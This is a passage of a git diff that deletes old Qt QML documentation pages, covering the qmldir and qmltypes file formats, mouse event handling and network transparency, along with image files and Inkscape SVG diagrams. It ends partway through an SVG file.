-\code -qmlRegisterType<PieChart>("Charts", 1, 0, "PieChart"); -\endcode - -This allows the application's QML files to use the \c PieChart type by importing the declared -\c Charts module: - -\snippet doc/src/snippets/declarative/imports/chart.qml import - -For \l{QDeclarativeExtensionPlugin}{QML plugins}, the -module URI is automatically passed to QDeclarativeExtensionPlugin::registerTypes(). This method -can be reimplemented by the developer to register the necessary types for the module. Below is the -\c registerTypes() implementation from the \l{declarative/cppextensions/plugins}{QML plugins} -example: - -\snippet examples/declarative/cppextensions/plugins/plugin.cpp plugin - -Once the plugin is built and installed, and includes a \l{Writing a qmldir file}{qmldir file}, -the module can be imported from QML, like this: - -\snippet doc/src/snippets/declarative/imports/timeexample.qml import - -Unlike QML types defined by QML files, a QML type defined in a C++ extension plugin cannot be loaded by -a module that is imported as a network resource. - - - -\target namespaces -\section1 Namespaces: Using Named Imports - -By default, when a module is imported, its contents are imported into the global namespace. You may choose to import the module into another namespace, either to allow identically-named types to be referenced, or purely for readability. - -To import a module into a specific namespace, use the \e as keyword: - -\snippet doc/src/snippets/declarative/imports/named-imports.qml imports - -Types from these modules can then only be used when qualified by the namespace: - -\snippet doc/src/snippets/declarative/imports/named-imports.qml imported items - -Multiple modules can be imported into the same namespace in the same way that multiple modules can be imported into the global namespace: - -\snippet doc/src/snippets/declarative/imports/merged-named-imports.qml imports - -\section2 JavaScript Files - -JavaScript files must always be imported with a named import: - -\qml -import "somescript.js" as MyScript - -Item { - //... - Component.onCompleted: MyScript.doSomething() -} -\endqml - -The qualifier ("MyScript" in the above example) must be unique within the QML document. -Unlike ordinary modules, multiple scripts cannot be imported into the same namespace. - - -\section1 Writing a qmldir File - -A \c qmldir file is a metadata file for a module that maps all type names in -the module to versioned QML files. It is required for installed modules, and -located modules that are loaded from a network source. - -It is defined by a plain text file named "qmldir" that contains one or more lines of the form: - -\code -# <Comment> -<TypeName> [<InitialVersion>] <File> -internal <TypeName> <File> -plugin <Name> [<Path>] -typeinfo <File> -\endcode - -\b {# <Comment>} lines are used for comments. They are ignored by the QML engine. - -\b {<TypeName> [<InitialVersion>] <File>} lines are used to add QML files as types. -<TypeName> is the type being made available, the optional <InitialVersion> is a version -number, and <File> is the (relative) file name of the QML file defining the type. - -Installed files do not need to import the module of which they are a part, as they can refer -to the other QML files in the module as relative (local) files, but -if the module is imported from a remote location, those files must nevertheless be listed in -the \c qmldir file. Types which you do not wish to export to users of your module -may be marked with the \c internal keyword: \b {internal <TypeName> <File>}. - -The same type can be provided by different files in different versions, in which -case later versions (e.g. 1.2) must precede earlier versions (e.g. 1.0), -since the \e first name-version match is used and a request for a version of a type -can be fulfilled by one defined in an earlier version of the module. If a user attempts -to import a version earlier than the earliest provided or later than the latest provided, -the import produces a runtime error, but if the user imports a version within the range of versions provided, -even if no type is specific to that version, no error will occur. - -A single module, in all versions, may only be provided in a single directory (and a single \c qmldir file). -If multiple are provided, only the first in the search path will be used (regardless of whether other versions -are provided by directories later in the search path). - -The versioning system ensures that a given QML file will work regardless of the version -of installed software, since a versioned import \e only imports types for that version, -leaving other identifiers available, even if the actual installed version might otherwise -provide those identifiers. - -\b {plugin <Name> [<Path>]} lines are used to add \l{QDeclarativeExtensionPlugin}{QML C++ plugins} to the module. <Name> is the name of the library. It is usually not the same as the file name -of the plugin binary, which is platform dependent; e.g. the library \c MyAppTypes would produce -\c libMyAppTypes.so on Linux and \c MyAppTypes.dll on Windows. - -<Path> is an optional argument specifying either an absolute path to the directory containing the -plugin file, or a relative path from the directory containing the \c qmldir file to the directory -containing the plugin file. By default the engine searches for the plugin library in the directory that contains the \c qmldir -file. The plugin search path can be queried with QDeclarativeEngine::pluginPathList() and modified using QDeclarativeEngine::addPluginPath(). When running the \l {QML Viewer}, use the \c -P option to add paths to the plugin search path. - -\b {typeinfo <File>} lines add \l{Writing a qmltypes file}{type description files} to -the module that can be read by QML tools such as Qt Creator to get information about the -types defined by the module's plugins. <File> is the (relative) file name of a .qmltypes -file. - -Without such a file QML tools may be unable to offer features such as code completion -for the types defined in your plugins. - - -\section1 Debugging - -The \c QML_IMPORT_TRACE environment variable can be useful for debugging -when there are problems with finding and loading modules. See -\l{Debugging module imports} for more information. - - -\section1 Writing a qmltypes file - -QML modules may refer to one or more type information files in their -\l{Writing a qmldir file}{qmldir} file. These usually have the .qmltypes -extension and are read by external tools to gain information about -types defined in plugins. - -As such qmltypes files have no effect on the functionality of a QML module. -Their only use is to allow tools such as Qt Creator to provide code completion, -error checking and other functionality to users of your module. - -Any module that uses plugins should also ship a type description file. - -The best way to create a qmltypes file for your module is to generate it -using the \c qmlplugindump tool that is provided with Qt. - -Example: -If your module is in \c /tmp/imports/My/Module, you could run -\code -qmlplugindump My.Module 1.0 /tmp/imports > /tmp/imports/My/Module/mymodule.qmltypes -\endcode -to generate type information for your module. Afterwards, add the line -\code -typeinfo mymodule.qmltypes -\endcode -to \c /tmp/imports/My/Module/qmldir to register it. - -While the qmldump tool covers most cases, it does not work if: -\list -\li The plugin uses a \l{QDeclarativeCustomParser}. The component that uses - the custom parser will not get its members documented. -\li The plugin can not be loaded. In particular if you cross-compiled - the plugin for a different architecture, qmldump will not be able to - load it. -\endlist - -In case you have to create a qmltypes file manually or need to adjust -an existing one, this is the file format: - -\qml -import QtQuick.tooling 1.1 - -// There always is a single Module object that contains all -// Component objects. -Module { - // A Component object directly corresponds to a type exported - // in a plugin with a call to qmlRegisterType. - Component { - - // The name is a unique identifier used to refer to this type. - // It is recommended you simply use the C++ type name. - name: "QDeclarativeAbstractAnimation" - - // The name of the prototype Component. - prototype: "QObject" - - // The name of the default property. - defaultProperty: "animations" - - // The name of the type containing attached properties - // and methods. - attachedType: "QDeclarativeAnimationAttached" - - // The list of exports determines how a type can be imported. - // Each string has the format "URI/Name version" and matches the - // arguments to qmlRegisterType. Usually types are only exported - // once, if at all. - // If the "URI/" part of the string is missing that means the - // type should be put into the package defined by the URI the - // module was imported with. - // For example if this module was imported with 'import Foo 4.8' - // the Animation object would be found in the package Foo and - // QtQuick. - exports: [ - "Animation 4.7", - "QtQuick/Animation 1.0" - ] - - Property { - name: "animations"; - type: "QDeclarativeAbstractAnimation" - // defaults to false, whether this property is read only - isReadonly: true - // defaults to false, whether the type of this property was a pointer in C++ - isPointer: true - // defaults to false: whether the type actually is a QDeclarativeListProperty<type> - isList: true - // defaults to 0: the minor version that introduced this property - revision: 1 - } - Property { name: "loops"; type: "int" } - Property { name: "name"; type: "string" } - Property { name: "loopsEnum"; type: "Loops" } - - Enum { - name: "Loops" - values: { - "Infinite": -2, - "OnceOnly": 1 - } - } - - // Signal and Method work the same way. The inner Parameter - // declarations also support the isReadonly, isPointer and isList - // attributes which mean the same as for Property - Method { name: "restart" } - Signal { name: "started"; revision: 2 } - Signal { - name: "runningChanged" - Parameter { type: "bool" } - Parameter { name: "foo"; type: "bool" } - } - } -} -\endqml - -*/ -/ diff --git a/doc/src/declarative/mouseevents.qdoc b/doc/src/declarative/mouseevents.qdoc deleted file mode 100644 index 5b9e54e9..00000000 --- a/doc/src/declarative/mouseevents.qdoc +++ /dev/null @@ -1,120 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page mouseevents.html -\title QML Mouse Events -\ingroup QML Features -\previouspage {Anchor-based Layout in QML}{Layouts using Anchors} -\nextpage {QML Text Handling and Validators}{Text Handling and Validators} -\contentspage QML Features - -\tableofcontents - -\section1 Mouse Elements - -\list -\li \l{MouseArea} Element -\li \l{MouseEvent} Object -\endlist - -\section1 Mouse Event Handling - -QML uses \l{QML Signal and Handler Event System}{signals and handlers} to -deliver mouse interactions. Specifically, the \l MouseArea and \l MouseEvent -elements provide QML components with signal handlers to accept mouse events -within a defined area. - -\section1 Defining a Mouse Area - -The \l MouseArea element receives events within a defined area. One quick way -to define this area is to anchor the \c MouseArea to its parent's area using the -\c anchors.fill property. If the parent is a \l Rectangle (or any \l Item -component), then the MouseArea will fill the area defined by the parent's -dimensions. Alternatively, an area smaller or larger than the parent is -definable. -\snippet doc/src/snippets/declarative/mousearea/mousearea-snippet.qml anchor fill - -\section1 Receiving Events - -The MouseArea element provides -\l{QML Signal and Handler Event System}{signals and handlers} to detect different -mouse events. The \l MouseArea element documentation describes these -gestures in greater detail: - -\list -\li canceled -\li clicked -\li doubleClicked -\li entered -\li exited -\li positionChanged -\li pressAndHold -\li pressed -\li released -\endlist - -These signals have signal handlers that are invoked when the signals are emitted. -\snippet doc/src/snippets/declarative/mousearea/mousearea-snippet.qml mouse handlers - -\section1 Enabling Gestures -Some mouse gestures and button clicks need to be enabled before they send or -receive events. Certain \l MouseArea and \l MouseEvent properties enable these -gestures. - -To listen to (or explicitly ignore) a certain mouse button, set the appropriate -mouse button to the \l {MouseArea::acceptedButtons}{acceptedButtons} property. - -Naturally, the mouse events, such as button presses and mouse positions, are -sent during a mouse click. For example, the \c containsMouse property will only -retrieve its correct value during a mouse press. The -\l {MouseArea::hoverEnabled}{hoverEnabled} will enable mouse events and -positioning even when there are no mouse button presses. Setting the -\c hoverEnabled property to \c true, in turn will enable the \c entered, -\c exited, and \c positionChanged signal and their respective signal handlers. - -\snippet doc/src/snippets/declarative/mousearea/mousearea-snippet.qml enable handlers -Additionally, to disable the whole mouse area, set the \c MouseArea -element's \c enabled property to \c false. - -\section1 MouseEvent Object - -Signals and their handlers receive a \l MouseEvent object as a parameter. The -\c mouse object contain information about the mouse event. For example, the -mouse button that started the event is queried through the -\l {MouseEvent::button}{mouse.button} property. - -The \c MouseEvent object can also ignore a mouse event using its \c accepted -property. - -\section2 Accepting Further Signals -Many of the signals are sent multiple times to reflect various mouse events -such as double clicking. To facilitate the classification of mouse clicks, the -MouseEvent object has an \c accepted property to disable the event propagation. - -To learn more about QML's event system, please read the \l {QML Signal and Handler Event System} document. -*/ diff --git a/doc/src/declarative/network.qdoc b/doc/src/declarative/network.qdoc deleted file mode 100644 index 54058860..00000000 --- a/doc/src/declarative/network.qdoc +++ /dev/null @@ -1,158 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativenetwork.html -\ingroup qml-features -\previouspage {Dynamic Object Management in QML}{Dynamic Object Management} -\nextpage {QML Internationalization}{Internationalization} -\contentspage QML Features -\title Network Transparency - -QML supports network transparency by using URLs (rather than file names) for all -references from a QML document to other content: - -\qml -Image { - source: "http://www.example.com/images/logo.png" -} -\endqml - -Since a \e relative URL is the same -as a relative file, development of QML on regular file systems remains simple: - -\qml -Image { - source: "images/logo.png" -} -\endqml - -Network transparency is supported throughout QML, for example: - -\list -\li Fonts - the \c source property of FontLoader is a URL -\li WebViews - the \c url property of WebView (obviously!) -\endlist - -Even QML types themselves can be on the network - if the \l {QML Viewer} is used to load -\tt http://example.com/mystuff/Hello.qml and that content refers to a type "World", the engine -will load \tt http://example.com/mystuff/qmldir and resolve the type just as it would for a local file. -For example if the qmldir file contains the line "World World.qml", it will load -\tt http://example.com/mystuff/World.qml -Any other resources that \tt Hello.qml referred to, usually by a relative URL, would -similarly be loaded from the network. - - -\section1 Relative vs. Absolute URLs - -Whenever an object has a property of type URL (QUrl), assigning a string to that -property will actually assign an absolute URL - by resolving the string against -the URL of the document where the string is used. - -For example, consider this content in \tt{http://example.com/mystuff/test.qml}: - -\qml -Image { - source: "images/logo.png" -} -\endqml - -The \l Image source property will be assigned \tt{http://example.com/mystuff/images/logo.png}, -but while the QML is being developed, in say \tt C:\\User\\Fred\\Documents\\MyStuff\\test.qml, it will be assigned -\tt C:\\User\\Fred\\Documents\\MyStuff\\images\\logo.png. - -If the string assigned to a URL is already an absolute URL, then "resolving" does -not change it and the URL is assigned directly. - - -\section1 Progressive Loading - -Because of the declarative nature of QML and the asynchronous nature of network resources, -objects which reference network resource generally change state as the network resource loads. -For example, an Image with a network source will initially have -a \c width and \c height of 0, a \c status of \c Loading, and a \c progress of 0.0. -While the content loads, the \c progress will increase until -the content is fully loaded from the network, -at which point the \c width and \c height become the content size, the \c status becomes \c Ready, and the \c progress reaches 1.0. -Applications can bind to these changing states to provide visual progress indicators where appropriate, or simply -bind to the \c width and \c height as if the content was a local file, adapting as those bound values change. - -Note that when objects reference local files they immediately have the \c Ready status, but applications wishing -to remain network transparent should not rely on this. Future versions of QML may also use asynchronous local file I/O -to improve performance. - - -\section1 Accessing Network Services - -QML types such as XmlListModel, and JavaScript classes like XMLHttpRequest are intended -entirely for accessing network services, which usually respond with references to -content by URLs that can then be used directly in QML. For example, using these facilities -to access an on-line photography service would provide the QML application with URLs to -photographs, which can be directly set on an \l Image \c source property. - -See the \tt demos/declarative/flickr for a real demonstration of this. - - -\section1 Configuring the Network Access Manager - -All network access from QML is managed by a QNetworkAccessManager set on the QDeclarativeEngine which executes the QML. -By default, this is an unmodified Qt QNetworkAccessManager. You may set a different manager by -providing a QDeclarativeNetworkAccessManagerFactory and setting it via -QDeclarativeEngine::setNetworkAccessManagerFactory(). -For example, the \l {QML Viewer} sets a QDeclarativeNetworkAccessManagerFactory which -creates QNetworkAccessManager that trusts HTTP Expiry headers to avoid network cache checks, -allows HTTP Pipelining, adds a persistent HTTP CookieJar, a simple disk cache, and supports proxy settings. - - -\section1 QRC Resources - -One of the URL schemes built into Qt is the "qrc" scheme. This allows content to be compiled into -the executable using \l{The Qt Resource System}. Using this, an executable can reference QML content -that is compiled into the executable: - -\quotefromfile snippets/declarative/qtbinding/resources/main.cpp -\skipto view -\printuntil setSource - -The content itself can then use relative URLs, and so be transparently unaware that the content is -compiled into the executable. - - -\section1 Limitations - -The \c import statement is only network transparent if it has an "as" clause. - -More specifically: -\list -\li \c{import "dir"} only works on local file systems -\li \c{import libraryUri} only works on local file systems -\li \c{import "dir" as D} works network transparently -\li \c{import libraryUrl as U} works network transparently -\endlist - - -*/ diff --git a/doc/src/declarative/pics/3d-axis.png b/doc/src/declarative/pics/3d-axis.png Binary files differdeleted file mode 100644 index 1a587ffd..00000000 --- a/doc/src/declarative/pics/3d-axis.png +++ /dev/null diff --git a/doc/src/declarative/pics/3d-rotation-axis.png b/doc/src/declarative/pics/3d-rotation-axis.png Binary files differdeleted file mode 100644 index b9402156..00000000 --- a/doc/src/declarative/pics/3d-rotation-axis.png +++ /dev/null diff --git a/doc/src/declarative/pics/BorderImage.png b/doc/src/declarative/pics/BorderImage.png Binary files differdeleted file mode 100644 index 651dd8aa..00000000 --- a/doc/src/declarative/pics/BorderImage.png +++ /dev/null diff --git a/doc/src/declarative/pics/ListViewHighlight.png b/doc/src/declarative/pics/ListViewHighlight.png Binary files differdeleted file mode 100644 index 02bf51da..00000000 --- a/doc/src/declarative/pics/ListViewHighlight.png +++ /dev/null diff --git a/doc/src/declarative/pics/ListViewHorizontal.png b/doc/src/declarative/pics/ListViewHorizontal.png Binary files differdeleted file mode 100644 index 4633a0e1..00000000 --- a/doc/src/declarative/pics/ListViewHorizontal.png +++ /dev/null diff --git a/doc/src/declarative/pics/ListViewVertical.png b/doc/src/declarative/pics/ListViewVertical.png Binary files differdeleted file mode 100644 index e0b23d95..00000000 --- a/doc/src/declarative/pics/ListViewVertical.png +++ /dev/null diff --git a/doc/src/declarative/pics/anatomy-component.png b/doc/src/declarative/pics/anatomy-component.png Binary files differdeleted file mode 100644 index 6125b009..00000000 --- a/doc/src/declarative/pics/anatomy-component.png +++ /dev/null diff --git a/doc/src/declarative/pics/anchorchanges.png b/doc/src/declarative/pics/anchorchanges.png Binary files differdeleted file mode 100644 index 4973e4e9..00000000 --- a/doc/src/declarative/pics/anchorchanges.png +++ /dev/null diff --git a/doc/src/declarative/pics/anchors.svg b/doc/src/declarative/pics/anchors.svg deleted file mode 100644 index 08b00ed6..00000000 --- a/doc/src/declarative/pics/anchors.svg +++ /dev/null @@ -1,92 +0,0 @@ -<?xml version="1.0" encoding="UTF-8" standalone="no"?> -<!-- Created with Inkscape (http://www.inkscape.org/) --> -<svg - xmlns:dc="http://purl.org/dc/elements/1.1/" - xmlns:cc="http://web.resource.org/cc/" - xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" - xmlns:svg="http://www.w3.org/2000/svg" - xmlns="http://www.w3.org/2000/svg" - xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd" - xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape" - width="744.09448819" - height="1052.3622047" - id="svg1910" - sodipodi:version="0.32" - inkscape:version="0.44.1" - inkscape:export-filename="/home/mbrasser/work/Kinetic/ngui/doc/src/pics/anchors_example2.png" - inkscape:export-xdpi="189.65207" - inkscape:export-ydpi="189.65207" - sodipodi:docbase="/home/mbrasser/work/Kinetic/ngui/doc/src/pics" - sodipodi:docname="anchors.svg"> - <defs - id="defs1912" /> - <sodipodi:namedview - id="base" - pagecolor="#ffffff" - bordercolor="#666666" - borderopacity="1.0" - gridtolerance="10000" - guidetolerance="10" - objecttolerance="10" - inkscape:pageopacity="0.0" - inkscape:pageshadow="2" - inkscape:zoom="1.979899" - inkscape:cx="431.57095" - inkscape:cy="413.38853" - inkscape:document-units="px" - inkscape:current-layer="layer1" - inkscape:window-width="1386" - inkscape:window-height="971" - inkscape:window-x="0" - inkscape:window-y="0" /> - <metadata - id="metadata1915"> - <rdf:RDF> - <cc:Work - rdf:about=""> - <dc:format>image/svg+xml</dc:format> - <dc:type - rdf:resource="http://purl.org/dc/dcmitype/StillImage" /> - </cc:Work> - </rdf:RDF> - </metadata> - <g - inkscape:label="Layer 1" - inkscape:groupmode="layer" - id="layer1"> - <rect - style="opacity:1;fill:none;fill-opacity:1;stroke:black;stroke-width:0.52033526;stroke-miterlimit:4;stroke-dasharray:1.04067054, 0.52033527;stroke-dashoffset:0;stroke-opacity:1" - id="rect2807" - width="36.245155" - height="32.204544" - x="390.23157" - y="574.62024" /> - <rect - style="opacity:1;fill:none;fill-opacity:1;stroke:black;stroke-width:0.44547796;stroke-miterlimit:4;stroke-dasharray:0.89095592, 0.44547796;stroke-dashoffset:0;stroke-opacity:1" - id="rect2809" - width="59.048447" - height="14.601732" - x="430.82993" - y="574.9483" /> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="399.40982" - y="594.76312" - id="text3696"><tspan - sodipodi:role="line" - id="tspan3698" - x="399.40982" - y="594.76312">pic</tspan></text> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="445.84048" - y="586.5423" - id="text3700"><tspan - sodipodi:role="line" - id="tspan3702" - x="445.84048" - y="586.5423">label</tspan></text> - </g> -</svg> diff --git a/doc/src/declarative/pics/animatedimageitem.gif b/doc/src/declarative/pics/animatedimageitem.gif Binary files differdeleted file mode 100644 index 85c3cb56..00000000 --- a/doc/src/declarative/pics/animatedimageitem.gif +++ /dev/null diff --git a/doc/src/declarative/pics/axisrotation.png b/doc/src/declarative/pics/axisrotation.png Binary files differdeleted file mode 100644 index 4cddcdfc..00000000 --- a/doc/src/declarative/pics/axisrotation.png +++ /dev/null diff --git a/doc/src/declarative/pics/blur_example.png b/doc/src/declarative/pics/blur_example.png Binary files differdeleted file mode 100644 index 763b1122..00000000 --- a/doc/src/declarative/pics/blur_example.png +++ /dev/null diff --git a/doc/src/declarative/pics/content.png b/doc/src/declarative/pics/content.png Binary files differdeleted file mode 100644 index 47a98ac9..00000000 --- a/doc/src/declarative/pics/content.png +++ /dev/null diff --git a/doc/src/declarative/pics/declarative-adv-tutorial1.png b/doc/src/declarative/pics/declarative-adv-tutorial1.png Binary files differdeleted file mode 100644 index 1699ab0e..00000000 --- a/doc/src/declarative/pics/declarative-adv-tutorial1.png +++ /dev/null diff --git a/doc/src/declarative/pics/declarative-adv-tutorial2.png b/doc/src/declarative/pics/declarative-adv-tutorial2.png Binary files differdeleted file mode 100644 index ba27c442..00000000 --- a/doc/src/declarative/pics/declarative-adv-tutorial2.png +++ /dev/null diff --git a/doc/src/declarative/pics/declarative-adv-tutorial3.png b/doc/src/declarative/pics/declarative-adv-tutorial3.png Binary files differdeleted file mode 100644 index d500434d..00000000 --- a/doc/src/declarative/pics/declarative-adv-tutorial3.png +++ /dev/null diff --git a/doc/src/declarative/pics/declarative-adv-tutorial4.gif b/doc/src/declarative/pics/declarative-adv-tutorial4.gif Binary files differdeleted file mode 100644 index 827458da..00000000 --- a/doc/src/declarative/pics/declarative-adv-tutorial4.gif +++ /dev/null diff --git a/doc/src/declarative/pics/declarative-qmlfocus1.png b/doc/src/declarative/pics/declarative-qmlfocus1.png Binary files differdeleted file mode 100644 index fd05146d..00000000 --- a/doc/src/declarative/pics/declarative-qmlfocus1.png +++ /dev/null diff --git a/doc/src/declarative/pics/declarative-qmlfocus2.png b/doc/src/declarative/pics/declarative-qmlfocus2.png Binary files differdeleted file mode 100644 index a946e2c4..00000000 --- a/doc/src/declarative/pics/declarative-qmlfocus2.png +++ /dev/null diff --git a/doc/src/declarative/pics/declarative-qmlfocus3.png b/doc/src/declarative/pics/declarative-qmlfocus3.png Binary files differdeleted file mode 100644 index ba55f760..00000000 --- a/doc/src/declarative/pics/declarative-qmlfocus3.png +++ /dev/null diff --git a/doc/src/declarative/pics/declarative-qmlfocus4.png b/doc/src/declarative/pics/declarative-qmlfocus4.png Binary files differdeleted file mode 100644 index e21f2a6a..00000000 --- a/doc/src/declarative/pics/declarative-qmlfocus4.png +++ /dev/null diff --git a/doc/src/declarative/pics/dial-example.gif b/doc/src/declarative/pics/dial-example.gif Binary files differdeleted file mode 100644 index 4e90ba91..00000000 --- a/doc/src/declarative/pics/dial-example.gif +++ /dev/null diff --git a/doc/src/declarative/pics/edge1.png b/doc/src/declarative/pics/edge1.png Binary files differdeleted file mode 100644 index f4bc16d0..00000000 --- a/doc/src/declarative/pics/edge1.png +++ /dev/null diff --git a/doc/src/declarative/pics/edge2.png b/doc/src/declarative/pics/edge2.png Binary files differdeleted file mode 100644 index 71bda8eb..00000000 --- a/doc/src/declarative/pics/edge2.png +++ /dev/null diff --git a/doc/src/declarative/pics/edge3.png b/doc/src/declarative/pics/edge3.png Binary files differdeleted file mode 100644 index 51bb894c..00000000 --- a/doc/src/declarative/pics/edge3.png +++ /dev/null diff --git a/doc/src/declarative/pics/edge4.png b/doc/src/declarative/pics/edge4.png Binary files differdeleted file mode 100644 index aee3bd10..00000000 --- a/doc/src/declarative/pics/edge4.png +++ /dev/null diff --git a/doc/src/declarative/pics/edges.png b/doc/src/declarative/pics/edges.png Binary files differdeleted file mode 100644 index 211b1019..00000000 --- a/doc/src/declarative/pics/edges.png +++ /dev/null diff --git a/doc/src/declarative/pics/edges.svg b/doc/src/declarative/pics/edges.svg deleted file mode 100644 index 25698ca4..00000000 --- a/doc/src/declarative/pics/edges.svg +++ /dev/null @@ -1,185 +0,0 @@ -<?xml version="1.0" encoding="UTF-8" standalone="no"?> -<!-- Created with Inkscape (http://www.inkscape.org/) --> -<svg - xmlns:dc="http://purl.org/dc/elements/1.1/" - xmlns:cc="http://web.resource.org/cc/" - xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" - xmlns:svg="http://www.w3.org/2000/svg" - xmlns="http://www.w3.org/2000/svg" - xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd" - xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape" - width="744.09448819" - height="1052.3622047" - id="svg2" - sodipodi:version="0.32" - inkscape:version="0.44.1" - sodipodi:docbase="/home/mbrasser" - sodipodi:docname="edges.svg"> - <defs - id="defs4"> - <marker - inkscape:stockid="Arrow1Mstart" - orient="auto" - refY="0.0" - refX="0.0" - id="Arrow1Mstart" - style="overflow:visible"> - <path - id="path3850" - d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z " - style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none" - transform="scale(0.4) translate(10,0)" /> - </marker> - <marker - inkscape:stockid="Arrow1Lstart" - orient="auto" - refY="0.0" - refX="0.0" - id="Arrow1Lstart" - style="overflow:visible"> - <path - id="path3856" - d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z " - style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none" - transform="scale(0.8) translate(12.5,0)" /> - </marker> - </defs> - <sodipodi:namedview - id="base" - pagecolor="#ffffff" - bordercolor="#666666" - borderopacity="1.0" - gridtolerance="10000" - guidetolerance="10" - objecttolerance="10" - inkscape:pageopacity="0.0" - inkscape:pageshadow="2" - inkscape:zoom="2.8583315" - inkscape:cx="372.04724" - inkscape:cy="596.15198" - inkscape:document-units="px" - inkscape:current-layer="layer1" - inkscape:window-width="1279" - inkscape:window-height="969" - inkscape:window-x="0" - inkscape:window-y="0" /> - <metadata - id="metadata7"> - <rdf:RDF> - <cc:Work - rdf:about=""> - <dc:format>image/svg+xml</dc:format> - <dc:type - rdf:resource="http://purl.org/dc/dcmitype/StillImage" /> - </cc:Work> - </rdf:RDF> - </metadata> - <g - inkscape:label="Layer 1" - inkscape:groupmode="layer" - id="layer1"> - <rect - style="opacity:1;fill:#0ca9fa;fill-opacity:1;stroke:black;stroke-width:0.04639034;stroke-miterlimit:4;stroke-dasharray:0.09278069, 0.04639034;stroke-dashoffset:0;stroke-opacity:1" - id="rect1872" - width="33.656742" - height="39.808346" - x="208.86543" - y="390.22763" - rx="5" - ry="5" /> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1" - d="M 225.51888,380.99149 C 225.51888,439.06733 225.86873,439.06733 225.86873,439.06733" - id="path2760" /> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1" - d="M 242.97392,380.99149 C 242.97392,439.06733 243.32377,439.06733 243.32377,439.06733" - id="path3647" /> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1" - d="M 208.33832,380.99149 C 208.33832,439.06733 208.68817,439.06733 208.68817,439.06733" - id="path3649" /> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1" - d="M 195.91848,409.67956 C 256.44329,409.67956 256.09344,409.67956 256.09344,409.67956" - id="path3651" /> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1" - d="M 195.91848,429.97112 C 256.44329,429.97112 256.09344,429.97112 256.09344,429.97112" - id="path3653" /> - <path - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1" - d="M 195.91848,390.78742 C 256.44329,390.78742 256.09344,390.78742 256.09344,390.78742" - id="path3655" /> - <text - xml:space="preserve" - style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - x="258.54242" - y="393.58627" - id="text3657"><tspan - sodipodi:role="line" - id="tspan3659" - x="258.54242" - y="393.58627" - style="font-size:10px">Top</tspan></text> - <text - 